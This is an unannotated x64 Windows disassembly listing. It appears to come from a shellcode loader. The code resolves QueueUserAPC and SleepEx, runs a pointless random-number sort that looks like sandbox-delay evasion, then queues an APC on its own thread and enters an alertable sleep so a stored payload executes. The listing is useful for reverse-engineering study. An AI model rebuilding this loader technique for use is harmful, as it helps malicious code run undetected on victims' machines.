call fcn.140003de0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x118
jle 0x140002935
add dword [rbp + 0x830], 1
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x50f
jle 0x1400025d7
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov ecx, 0x90c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x818], 0
jmp 0x140002a6b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x242
jle 0x140002a1e
mov dword [rbp + 0x818], 0
jmp 0x140002b83
mov dword [rbp + 0x69c], 0
jmp 0x140002b65
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x69c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002b5e
mov eax, dword [rbp + 0x69c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x818]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, dword [rbp + 0x69c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x69c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rdx, rax
mov eax, dword [rbp + 0x698]
mov dword [rdx], eax
add dword [rbp + 0x818], 1
mov eax, 0x242
sub eax, dword [rbp + 0x818]
cmp dword [rbp + 0x69c], eax
jl 0x140002a95
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x242
jle 0x140002a86
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6a8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret